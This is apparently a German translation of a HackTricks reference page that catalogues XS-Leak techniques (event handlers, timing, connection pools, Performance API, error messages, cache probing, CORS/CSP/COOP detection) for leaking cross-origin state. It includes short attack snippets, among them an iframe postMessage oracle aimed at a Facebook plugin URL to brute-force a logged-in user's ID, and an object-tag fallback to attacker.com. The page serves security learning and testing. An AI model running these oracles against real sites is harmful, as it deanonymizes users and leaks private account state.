XS-Search/XS-Leaks

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

XS-Search ist eine Methode, die verwendet wird, um cross-origin Informationen zu extrahieren, indem Side-Channel-Schwachstellen ausgenutzt werden.

Wesentliche Komponenten dieses Angriffs sind:

  • Vulnerable Web: Die Ziel-Website, von der Informationen extrahiert werden sollen.
  • Attacker’s Web: Die bösartige Website, die vom Angreifer erstellt wird und die das Exploit hostet, die das Opfer besucht.
  • Inclusion Method: Die Technik, mit der das Vulnerable Web in das Attacker’s Web eingebunden wird (z. B. window.open, iframe, fetch, HTML-Tag mit href, etc.).
  • Leak Technique: Techniken, die verwendet werden, um anhand der Inclusion Method Unterschiede im Zustand des Vulnerable Webs zu erkennen.
  • States: Die zwei möglichen Zustände des Vulnerable Webs, die der Angreifer unterscheiden möchte.
  • Detectable Differences: Beobachtbare Variationen, auf die sich der Angreifer stützt, um den Zustand des Vulnerable Webs abzuleiten.

Erkennbare Unterschiede

Mehrere Aspekte können analysiert werden, um die Zustände des Vulnerable Web zu unterscheiden:

  • Status Code: Unterschied zwischen verschiedenen HTTP-Antwort-Statuscodes cross-origin, wie Serverfehler, Clientfehler oder Authentifizierungsfehler.
  • API Usage: Erkennen der Nutzung von Web APIs über Seiten hinweg, wodurch sichtbar wird, ob eine cross-origin Seite eine bestimmte JavaScript Web API verwendet.
  • Redirects: Erkennen von Navigationen zu anderen Seiten — nicht nur HTTP-Redirects, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden.
  • Page Content: Beobachtung von Unterschieden im HTTP-Antwort-Body oder in Seiten-Sub-Ressourcen, wie z. B. die Anzahl eingebetteter Frames oder Größenunterschiede bei Bildern.
  • HTTP Header: Feststellen der Präsenz oder möglicherweise des Werts eines spezifischen HTTP-Antwort-Headers, einschließlich Headern wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
  • Timing: Wahrnehmen konsistenter Zeitunterschiede zwischen den beiden Zuständen.

Inklusionsmethoden

  • HTML Elements: HTML bietet verschiedene Elemente zur cross-origin Ressourceneinbindung, wie stylesheets, images oder scripts, die den Browser zwingen, eine Non-HTML-Ressource anzufordern. Eine Zusammenstellung möglicher HTML-Elemente für diesen Zweck findet sich unter https://github.com/cure53/HTTPLeaks.
  • Frames: Elemente wie iframe, object und embed können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite keinen Framing-Schutz hat, kann JavaScript über die contentWindow-Eigenschaft auf das Window-Objekt der eingebetteten Ressource zugreifen.
  • Pop-ups: Die Methode window.open öffnet eine Ressource in einem neuen Tab oder Fenster und stellt einen Window-Handle zur Verfügung, mit dem JavaScript gemäß SOP mit Methoden und Eigenschaften interagieren kann. Pop-ups, häufig bei Single-Sign-On verwendet, umgehen Framing- und Cookie-Einschränkungen einer Zielressource. Moderne Browser beschränken jedoch die Erzeugung von Pop-ups auf bestimmte Benutzeraktionen.
  • JavaScript Requests: JavaScript ermöglicht direkte Anfragen an Zielressourcen mittels XMLHttpRequests oder der Fetch API. Diese Methoden bieten präzise Kontrolle über die Anfrage, z. B. die Option, HTTP-Redirects zu folgen.

Leak-Techniken

  • Event Handler: Eine klassische Leak-Technik in XS-Leaks, bei der Event-Handler wie onload und onerror Hinweise über den Erfolg oder Misserfolg des Ladens einer Ressource liefern.
  • Error Messages: JavaScript-Ausnahmen oder spezielle Fehlerseiten können Leak-Informationen liefern, entweder direkt durch die Fehlermeldung oder durch das Differenzieren zwischen deren Vorhandensein und Abwesenheit.
  • Global Limits: Physische Beschränkungen eines Browsers, wie Speichergrenzen oder andere erzwungene Browser-Limits, können anzeigen, wenn eine Schwelle erreicht ist, und als Leak-Technik dienen.
  • Global State: Erkennbare Interaktionen mit Browser-Globalzuständen (z. B. dem History-Interface) können ausgenutzt werden. Beispielsweise kann die Anzahl der Einträge im Browser-Verlauf Hinweise über cross-origin Seiten geben.
  • Performance API: Diese API liefert Leistungsdaten der aktuellen Seite, einschließlich Netzwerktimings für das Dokument und geladene Ressourcen, was Rückschlüsse auf angeforderte Ressourcen ermöglicht.
  • Readable Attributes: Einige HTML-Attribute sind cross-origin lesbar und können als Leak-Technik verwendet werden. Zum Beispiel erlaubt die Eigenschaft window.frame.length JavaScript, die Anzahl der in einer Webseite enthaltenen Frames cross-origin zu zählen.

XSinator Tool & Paper

XSinator ist ein automatisiertes Tool, um Browser gegen mehrere bekannte XS-Leaks zu testen, die in seinem Paper erklärt werden: https://xsinator.com/paper.pdf

Sie können auf das Tool zugreifen unter https://xsinator.com/

Warning

Excluded XS-Leaks: Wir mussten XS-Leaks ausschließen, die auf service workers beruhen, da diese anderen leaks in XSinator in die Quere kommen würden. Außerdem haben wir uns entschieden, XS-Leaks auszuschließen, die auf Fehlkonfigurationen und Bugs in einer spezifischen Webanwendung beruhen. Zum Beispiel CrossOrigin Resource Sharing (CORS) Fehlkonfigurationen, postMessage leakage oder Cross-Site Scripting. Zusätzlich haben wir zeitbasierte XS-Leaks ausgeschlossen, da diese oft langsam, laut und ungenau sind.

Timing-basierte Techniken

Einige der folgenden Techniken verwenden Timing als Teil des Prozesses, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen.

Clocks: Die performance.now() API erlaubt Entwicklern hochauflösende Zeitmessungen.
Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erzeugen: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-Animationen und andere.
Für mehr Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event-Handler-Techniken

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Das Codebeispiel versucht, scripts objects aus JS zu laden, aber andere tags wie objects, stylesheets, images, audios könnten ebenfalls verwendet werden. Außerdem ist es möglich, das Tag direkt zu injizieren und die onload- und onerror-Events direkt im Tag zu deklarieren (anstatt sie aus JS zu setzen).

Es gibt auch eine skriptlose Version dieses Angriffs:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In diesem Fall, wenn example.com/404 nicht gefunden wird, wird attacker.com/?error geladen.

Content-Type/CORB script load oracle

  • Inclusion Methods: HTML-Elemente (script)
  • Detectable Difference: Header / Content-Type über onload vs onerror (CORB)
  • Summary: Wenn ein Endpoint bei Treffer HTML und bei Nicht-Treffer JSON zurückgibt, lade ihn mit <script src>. HTML löst onload aus; JSON wird von CORB geblockt und löst onerror aus, was ein Boolean-Oracle liefert, um Identifiers wie __user innerhalb eines bekannten Bereichs zu brute-forcen.
  • Notes: Funktioniert cross-origin ohne Bodies zu lesen; praktisch, um das aktive Konto zu enumerieren, wenn eine tenant ID fest ist.

postMessage vs X-Frame-Options deny oracle

  • Inclusion Methods: Frames
  • Detectable Difference: Header (XFO) + postMessage Vorhandensein/Fehlen
  • Summary: Manche Widgets senden ein postMessage an ihren Parent, sobald sie geladen sind. Wenn die Anfrage mit einer falschen Kennung gerahmt wird, kann der Server mit X-Frame-Options: deny antworten, wodurch das Rendering verhindert wird und daher keine Nachricht gesendet wird. Indem man das iframe src mit der Kandidaten-ID setzt, auf ein message-Event wartet (Erfolg) und Timeout/keine Nachricht als Fehlschlag behandelt, kann das aktive Konto brute-forced werden.
  • Minimal snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

für weitere message/iframe-Fallen.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.

performance.now + Force heavy task

unload/beforeunload Timing

Die zum Abrufen einer Ressource benötigte Zeit kann gemessen werden, indem die Ereignisse unload und beforeunload genutzt werden. Das beforeunload-Ereignis wird ausgelöst, wenn der Browser kurz davor ist, zu einer neuen Seite zu navigieren, während das unload-Ereignis auftritt, wenn die Navigation tatsächlich stattfindet. Die Zeitdifferenz zwischen diesen beiden Ereignissen kann berechnet werden, um die Dauer zu bestimmen, die der Browser mit dem Abrufen der Ressource verbracht hat.

Sandboxed Frame Timing + onload

Es wurde beobachtet, dass in Abwesenheit von Framing Protections die Zeit, die eine Seite und ihre Subresources zum Laden über das Netzwerk benötigen, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, weil der onload-Handler eines iframe erst nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die durch Skriptausführung eingeführte Variabilität zu umgehen, könnte ein Angreifer das sandbox-Attribut innerhalb des 

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Wenn du die Seite so zum Fehler bringen kannst, dass sie beim Zugriff auf den korrekten Inhalt einen Fehler liefert, und beim Zugriff auf beliebigen (inkorrekten) Inhalt korrekt lädt, kannst du eine Schleife bauen, um alle Informationen zu extrahieren, ohne die Zeit messen zu müssen.
  • Code Example:

Angenommen, du kannst die Seite mit dem geheimen Inhalt innerhalb eines Iframe einfügen.

Du kannst das Opfer dazu bringen, nach der Datei zu suchen, die “flag” enthält, indem du ein Iframe nutzt (zum Beispiel über CSRF). Innerhalb des Iframe weißt du, dass das onload event mindestens einmal ausgeführt wird. Dann kannst du die URL des iframe ändern, indem du nur den Hash-Teil der URL änderst.

Beispiel:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Wenn die erste URL erfolgreich geladen wurde, wird beim Ändern des Hash-Teils der URL das onload-Event nicht erneut ausgelöst. Aber wenn die Seite beim Laden einen Fehler hatte, wird das onload-Event wieder ausgelöst.

So kannst du zwischen einer korrekt geladenen Seite und einer Seite unterscheiden, die beim Zugriff einen Fehler hat.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Wenn die Seite den sensitiven Inhalt zurückgibt oder Inhalt, der vom Benutzer kontrolliert werden kann. Der Benutzer könnte im negativen Fall gültigen JS-Code setzen und bei jedem Versuch ein <script> laden; in negativen Fällen wird der Angreifer-Code ausgeführt, in positiven Fällen passiert nichts.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) ist eine Sicherheitsmaßnahme, die verhindert, dass Webseiten bestimmte sensitive cross-origin Ressourcen laden, um gegen Angriffe wie Spectre zu schützen. Angreifer können jedoch das schützende Verhalten ausnutzen. Wenn eine Antwort, die CORB unterliegt, einen CORB protected Content-Type mit nosniff und einem 2xx-Statuscode zurückgibt, entfernt CORB den Response-Body und die Header. Angreifer, die dies beobachten, können die Kombination aus Statuscode (erfolgreich oder Fehler) und Content-Type (ob durch CORB geschützt) ableiten, was zu potenziellen Informationsleaks führt.
  • Code Example:

Siehe den More info Link für weitere Details zum Angriff.

onblur

Es ist möglich, eine Seite innerhalb eines iframe zu laden und den #id_value zu nutzen, um das iframe-Element mit der angegebenen id zu fokussieren; wenn dann ein onblur-Signal ausgelöst wird, existiert das ID-Element.
Den gleichen Angriff kann man mit portal-Tags durchführen.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Sammle sensitive Informationen aus postMessage oder verwende das Vorhandensein von postMessages als Oracle, um den Status des Benutzers auf der Seite zu erfahren.
  • Code Example: Any code listening for all postMessages.

Anwendungen nutzen häufig postMessage broadcasts, um über verschiedene Origins hinweg zu kommunizieren. Wenn das targetOrigin jedoch nicht korrekt gesetzt ist, können unbeabsichtigt alle Fenster die Nachrichten empfangen, wodurch sensitive information offengelegt werden kann. Außerdem kann allein das Empfangen einer Nachricht als Oracle dienen; bestimmte Messages werden beispielsweise nur an eingeloggte User gesendet. Das Vorhandensein oder Fehlen dieser Messages kann somit Informationen über den Zustand oder die Identität des Benutzers liefern, z. B. ob er authentifiziert ist.

Global Limits Techniques

WebSocket API

Es ist möglich zu ermitteln, ob und wie viele WebSocket-Verbindungen eine Zielseite nutzt. Das erlaubt einem Angreifer, Anwendungszustände zu erkennen und Informationen zu leaken, die mit der Anzahl der WebSocket-Verbindungen zusammenhängen.

Wenn eine Origin die maximale Anzahl an WebSocket-Connection-Objekten nutzt, führt das Erstellen neuer Objekte zu JavaScript-Ausnahmen. Für den Angriff öffnet die Angreifer-Website die Zielwebsite in einem Pop-up oder iframe und versucht nach dem Laden der Zielseite, die maximale Anzahl an WebSockets zu erstellen. Die Anzahl der geworfenen Exceptions entspricht der Anzahl der vom Zielfenster genutzten WebSocket-Verbindungen.

Payment API

Dieses XS-Leak ermöglicht einem Angreifer zu erkennen, wann eine cross-origin Seite eine Payment Request initiiert.

Da nur eine Payment Request zur gleichen Zeit aktiv sein kann, schlagen weitere Versuche, dieselbe API aufzurufen, fehl und verursachen eine JavaScript-Exception. Der Angreifer kann periodisch versuchen, die Payment API UI anzuzeigen; führt ein Versuch zu einer Exception, benutzt die Zielseite die API gerade. Der Angreifer kann diese periodischen Versuche verschleiern, indem er die UI direkt nach dem Erstellen wieder schließt.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript arbeitet mit dem single-threaded event loop-Concurrency-Modell, was bedeutet, dass jeweils nur eine Aufgabe ausgeführt werden kann. Diese Eigenschaft kann ausgenutzt werden, um zu messen, wie lange Code einer anderen Origin zur Ausführung braucht. Ein Angreifer kann die Ausführungszeit seines eigenen Codes im Event Loop messen, indem er kontinuierlich Events mit festen Eigenschaften dispatcht. Diese Events werden verarbeitet, wenn der Event-Pool leer ist. Wenn andere Origins ebenfalls Events in denselben Pool schicken, kann ein Angreifer durch Beobachtung von Verzögerungen bei der Ausführung seiner eigenen Tasks die Ausführungszeit dieser externen Events ableiten. Diese Methode, den Event Loop auf Verzögerungen zu überwachen, kann die Ausführungszeit von Code anderer Origins offenlegen und dadurch sensitive Informationen preisgeben.

Warning

Bei einem execution timing ist es möglich, Netzwerkfaktoren zu eliminieren, um präzisere Messungen zu erhalten. Zum Beispiel, indem man die Ressourcen, die die Seite nutzt, vorlädt.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generell bedingt durch Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Eine Methode zur Messung der Ausführungszeit einer Web-Operation ist, den Event Loop eines Threads bewusst zu blockieren und dann zu messen, wie lange es dauert, bis der Event Loop wieder verfügbar ist. Durch Einfügen einer blockierenden Operation (z. B. einer langen Berechnung oder eines synchronen API-Aufrufs) in den Event Loop und Überwachen der Zeit bis zur Ausführung nachfolgender Codes, lässt sich die Dauer der Tasks ableiten, die während des Blockierzeitraums im Event Loop liefen. Diese Technik nutzt die single-threaded Natur von JavaScript und kann Einblicke in das Verhalten anderer Operationen geben, die denselben Thread teilen.
  • Code Example:

Ein wesentlicher Vorteil der Technik, die Ausführungszeit durch Sperren des Event Loops zu messen, ist die Möglichkeit, Site Isolation zu umgehen. Site Isolation trennt verschiedene Webseiten in separaten Prozessen, um direkten Zugriff auf sensible Daten zu verhindern. Indem ein Angreifer jedoch die Ausführungszeit einer anderen Origin über den gemeinsamen Event Loop beeinflusst, kann er indirekt Informationen über die Aktivitäten dieser Origin extrahieren. Diese Methode verlässt sich nicht auf direkten Zugriff auf fremde Daten, sondern beobachtet die Auswirkungen der fremden Aktivitäten auf den geteilten Event Loop und umgeht so die Schutzbarrieren von Site Isolation.

Warning

Bei einem execution timing ist es möglich, Netzwerkfaktoren zu eliminieren, um präzisere Messungen zu erhalten. Zum Beispiel, indem man die Ressourcen, die die Seite nutzt, vorlädt.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generell bedingt durch Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Ein Angreifer könnte alle Sockets bis auf einen belegen, die Zielseite laden und gleichzeitig eine andere Seite laden; die Zeit bis die letzte Seite zu laden beginnt, entspricht der Ladezeit der Zielseite.
  • Code Example:

Connection Pool Examples

Browser nutzen Sockets zur Serverkommunikation, haben aber aufgrund begrenzter Betriebssystem- und Hardware-Ressourcen eine Grenze für die Anzahl gleichzeitiger Sockets. Angreifer können diese Grenze folgendermaßen ausnutzen:

  1. Ermittle das Socket-Limit des Browsers, z. B. 256 globale Sockets.
  2. Belege 255 Sockets über längere Zeit, indem du 255 Requests an verschiedene Hosts startest, die die Verbindungen offen halten.
  3. Verwende den 256. Socket, um eine Anfrage an die Zielseite zu senden.
  4. Versuche eine 257. Anfrage an einen anderen Host. Da alle Sockets benutzt werden (Schritte 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket frei wird. Die Verzögerung bis zur Verarbeitung gibt Timing-Informationen über die Netzwerkaktivität des 256. Sockets (die Zielseite). Das ist möglich, weil die 255 Sockets aus Schritt 2 noch belegt sind; der freie Socket muss daher der von Schritt 3 sein. Die Zeit bis zur Freigabe des 256. Sockets hängt direkt mit der Zeit zusammen, die die Anfrage an die Zielseite benötigt.

Für mehr Infos: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generell bedingt durch Page Content, Status Code)
  • More info:
  • Summary: Wie die vorherige Technik, aber Chrome setzt ein Limit von 6 gleichzeitigen Requests an dieselbe Origin. Wenn wir 5 blockieren und dann eine 6. Anfrage starten, können wir sie zeitlich messen; wenn die Zielseite mehr Requests an denselben Endpunkt sendet, wird die 6. Anfrage länger dauern und das ist detektierbar.

Performance API Techniques

Die Performance API liefert Einblicke in Performance-Metriken von Web-Apps, ergänzt durch die Resource Timing API. Die Resource Timing API ermöglicht das Monitoring detaillierter Netzwerk-Timings, z. B. Dauer von Requests. Wenn Server den Header Timing-Allow-Origin: * setzen, werden zusätzliche Daten wie Transfergröße und Domain-Lookup-Zeit verfügbar.

Diese Daten können über Methoden wie performance.getEntries oder performance.getEntriesByName abgerufen werden. Man kann Ausführungszeiten auch mit Zeitstempeldifferenzen von performance.now() messen. Beachte jedoch, dass in manchen Browsern wie Chrome die Präzision von performance.now() auf Millisekunden begrenzt sein kann, was die Granularität der Messungen beeinflusst.

Neben Timing-Messungen kann die Performance API für sicherheitsrelevante Erkenntnisse genutzt werden. Zum Beispiel kann das Vorhandensein oder Fehlen von Seiten im performance-Objekt in Chrome auf die Anwendung von X-Frame-Options hinweisen. Wenn eine Seite aufgrund von X-Frame-Options am Anzeigen in einem frame gehindert wird, wird sie nicht im performance-Objekt aufgezeichnet, was einen Hinweis auf die Framing-Policy liefert.

Error Leak

Es ist möglich, zwischen HTTP-Response-Statuscodes zu unterscheiden, denn Requests, die zu einem Fehler führen, erzeugen keinen Performance-Eintrag.

Style Reload Error

In der vorherigen Technik wurden zwei Fälle identifiziert, in denen Browser-Bugs in GC dazu führen, dass Ressourcen beim Fehlschlag zweimal geladen werden. Dies führt zu mehrfachen Einträgen in der Performance API und ist somit detektierbar.

Request Merging Error

Die Technik wurde in einer Tabelle in der genannten Arbeit gefunden, aber dort nicht weiter beschrieben. Den Quellcode zur Prüfung findest du unter https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Ein Angreifer kann erkennen, ob eine Anfrage einen leeren HTTP-Response-Body ergab, weil leere Seiten in einigen Browsern keinen Performance-Eintrag erzeugen.

XSS-Auditor Leak

In Security Assertions (SA) kann der XSS Auditor, der ursprünglich Cross-Site Scripting verhindern sollte, paradoxerweise zur Informationsleak-Ausnutzung führen. Obwohl dieses Feature aus Google Chrome (GC) entfernt wurde, ist es in SA noch vorhanden. 2013 zeigten Braun und Heiderich, dass der XSS Auditor legitime Skripte blockieren kann, was zu False Positives führt. Darauf aufbauend wurden Techniken entwickelt, um Informationen zu extrahieren und spezifische Inhalte auf cross-origin Seiten zu detektieren (XS-Leaks), zuerst von Terada berichtet und später von Heyes erläutert. Während diese Techniken ursprünglich auf den XSS Auditor in GC zielten, wurde entdeckt, dass in SA Seiten, die vom XSS Auditor geblockt werden, keine Einträge in der Performance API erzeugen, was eine Methode offenbart, über die weiterhin sensitive Informationen geleakt werden können.

X-Frame Leak

Wenn eine Seite nicht im iframe gerendert werden darf, erzeugt sie keinen Performance-Eintrag. Dadurch kann ein Angreifer den Response-Header X-Frame-Options erkennen.
Dasselbe passiert, wenn du ein embed-Tag verwendest.

Download Detection

Ähnlich wie bei dem beschriebenen XS-Leak erzeugt eine Ressource, die aufgrund des ContentDisposition-Headers heruntergeladen wird, ebenfalls keinen Performance-Eintrag. Diese Technik funktioniert in allen großen Browsern.

Redirect Start Leak

Wir fanden eine XS-Leak-Instanz, die das Verhalten einiger Browser ausnutzt, die zu viele Informationen für cross-origin Requests protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für cross-origin Ressourcen auf null gesetzt werden sollten. In SA ist es jedoch möglich zu erkennen, ob der User von der Zielseite weitergeleitet wurde, indem man die Performance API abfragt und die redirectStart-Timing-Daten prüft.

Duration Redirect Leak

In GC ist die duration für Requests, die zu einer Redirect führen, negativ und kann somit von Requests unterschieden werden, die keine Weiterleitung haben.

CORP Leak

In manchen Fällen kann der nextHopProtocol Eintrag als Leak-Technik verwendet werden. In GC ist bei gesetztem CORP Header das nextHopProtocol leer. Beachte, dass SA für CORP-geschützte Ressourcen gar keinen Performance-Eintrag erstellt.

Service Worker

Service Worker sind ereignisgesteuerte Script-Kontexte, die auf einer Origin laufen. Sie laufen im Hintergrund und können Ressourcen abfangen, modifizieren und cachen, um Offline-Funktionalität zu bieten.
Wenn eine vom Service Worker gecachte Ressource via iframe angefragt wird, wird die Ressource aus dem Service Worker Cache geladen.
Um zu erkennen, ob die Ressource aus dem Service Worker Cache geladen wurde, kann die Performance API genutzt werden.
Das kann auch mit einem Timing-Angriff gemacht werden (siehe Paper für mehr Details).

Cache

Mit der Performance API ist es möglich zu prüfen, ob eine Ressource gecached ist.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

Die message-Eigenschaft des MediaError-Interfaces identifiziert erfolgreich geladene Ressourcen eindeutig durch einen eigenen String. Ein Angreifer kann diese Eigenschaft ausnutzen, indem er den Inhalt der Nachricht beobachtet und so den Antwortstatus einer cross-origin Ressource ableitet.

CORS Error

Diese Technik ermöglicht es einem Angreifer, das Ziel einer Redirects einer cross-origin Site zu extrahieren, indem ausgenutzt wird, wie Webkit-basierte Browser CORS-Requests verarbeiten. Konkret: Wenn ein CORS-enabled request an eine Zielseite gesendet wird, die abhängig vom Benutzerzustand weiterleitet, und der Browser die Anfrage anschließend ablehnt, wird die vollständige URL des Redirect-Ziels in der Fehlermeldung offenbart. Diese Schwachstelle verrät nicht nur das Vorhandensein der Weiterleitung, sondern legt auch den Endpunkt der Weiterleitung und eventuelle sensible Query-Parameter offen.

SRI Error

Ein Angreifer kann ausführliche Fehlermeldungen ausnutzen, um die Größe von cross-origin Antworten zu ermitteln. Das ist durch Subresource Integrity (SRI) möglich, das mit dem integrity-Attribut sicherstellt, dass abgefragte Ressourcen (oft von CDNs) nicht manipuliert wurden. Damit SRI bei cross-origin Ressourcen funktioniert, müssen diese CORS-enabled sein; ansonsten unterliegen sie keinen Integritätsprüfungen. In Security Assertions (SA), ähnlich wie beim CORS error XS-Leak, kann nach einem fehlgeschlagenen Fetch-Request mit integrity-Attribut eine Fehlermeldung abgefangen werden. Angreifer können diesen Fehler absichtlich auslösen, indem sie dem integrity-Attribut einen falschen Hash zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Content-Length der angeforderten Ressource. Diese Information ermöglicht es einem Angreifer, Unterschiede in der Antwortgröße zu erkennen und dadurch komplexe XS-Leak-Angriffe zu ermöglichen.

CSP Violation/Detection

Ein XS-Leak kann CSP nutzen, um zu erkennen, ob eine cross-origin Seite zu einer anderen Origin weitergeleitet wurde. Dieses Leak kann die Weiterleitung erkennen und zusätzlich die Domain des Weiterleitungsziels offenbaren. Die Grundidee dieses Angriffs ist, die Ziel-Domain auf der Angreiferseite zu erlauben. Sobald eine Anfrage an die Ziel-Domain gestellt wird und sie zu einer cross-origin Domain redirectet, blockiert CSP den Zugriff darauf und erzeugt einen Violation-Report, der als leak-Technik genutzt werden kann. Je nach Browser kann dieser Report das Ziel der Weiterleitung offenlegen. Moderne Browser geben zwar nicht immer die weitergeleitete URL an, aber man kann dennoch erkennen, dass eine cross-origin Weiterleitung ausgelöst wurde.

Cache

Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrer Origin ist es möglich, abzuleiten, ob eine Zielseite eine bestimmte Datei angefordert hat.

Wenn eine Seite ein Bild nur lädt, falls der Benutzer eingeloggt ist, kannst du die Resource invalidieren (so dass sie nicht mehr gecached wird, falls sie es war, siehe Mehr-Info-Links), eine Anfrage ausführen, die diese Resource laden könnte, und anschließend versuchen, die Resource mit einer fehlerhaften Anfrage zu laden (z. B. mit einem überlangen Referer-Header). Wenn das Laden der Ressource keinen Fehler auslöst, liegt das daran, dass sie aus dem Cache bedient wurde.

CSP Directive

Eine neue Funktion in Google Chrome (GC) erlaubt Webseiten, eine Content Security Policy (CSP) vorzuschlagen, indem ein Attribut am iframe-Element gesetzt wird; die Policy-Directives werden zusammen mit der HTTP-Anfrage übertragen. Normalerweise muss der eingebettete Inhalt dies per HTTP-Header autorisiert sein, andernfalls wird eine Fehlerseite angezeigt. Wenn das iframe jedoch bereits einer CSP unterliegt und die vorgeschlagene Policy nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, bestimmte CSP-Directives einer cross-origin Seite zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Ergebnisse eine neue leak-Technik, die die Fehlerseite detektieren kann, was darauf hindeutet, dass das zugrundeliegende Problem nie vollständig behoben wurde.

CORP

Der CORP-Header ist eine relativ neue Web-Plattform-Sicherheitsfunktion, die no-cors Cross-Origin-Requests zu der betreffenden Ressource blockiert. Das Vorhandensein des Headers kann erkannt werden, da eine mit CORP geschützte Ressource beim Fetch einen Fehler wirft.

CORB

Siehe den Link für weitere Informationen zum Angriff.

CORS error on Origin Reflection misconfiguration

Falls der Origin header im Header Access-Control-Allow-Origin reflektiert wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die Resource im CORS-Modus zu fetchen. Wenn dadurch kein Fehler ausgelöst wird, wurde die Ressource korrekt vom Web abgerufen; wenn jedoch ein Fehler auftritt, liegt das daran, dass sie aus dem Cache bedient wurde (der Fehler entsteht, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain erlaubt und nicht die Domain des Angreifers).
Beachte, dass dies nicht funktioniert, wenn statt der Reflexion ein Wildcard verwendet wird (Access-Control-Allow-Origin: *).

Readable Attributes Technique

Fetch Redirect

Wenn ein Request mit der Fetch API und redirect: "manual" sowie weiteren Parametern abgeschickt wird, ist es möglich, das response.type-Attribut auszulesen; ist dieser Wert opaqueredirect, dann war die Response ein Redirect.

COOP

Ein Angreifer kann das Vorhandensein des Cross-Origin Opener Policy (COOP)-Headers in einer cross-origin HTTP-Antwort feststellen. COOP wird von Webanwendungen verwendet, um zu verhindern, dass externe Seiten beliebige window-Referenzen erhalten. Das Vorhandensein dieses Headers lässt sich erkennen, indem versucht wird, die contentWindow-Referenz zuzugreifen. In Fällen, in denen COOP bedingt angewandt wird, ist die opener-Property ein Indikator: sie ist undefined, wenn COOP aktiv ist, und defined, wenn nicht.

URL Max Length - Server Side

Wenn ein serverseitiger Redirect Benutzereingaben innerhalb der Weiterleitung verwendet und zusätzliche Daten anhängt, lässt sich dieses Verhalten erkennen, weil Server in der Regel eine Limitierung der Request-Länge haben. Wenn die Benutzerdaten etwa Länge - 1 ausnutzen und der Redirect noch etwas zusätzlich hinzufügt, kann das einen Fehler auslösen, der über Error Events detektierbar ist.

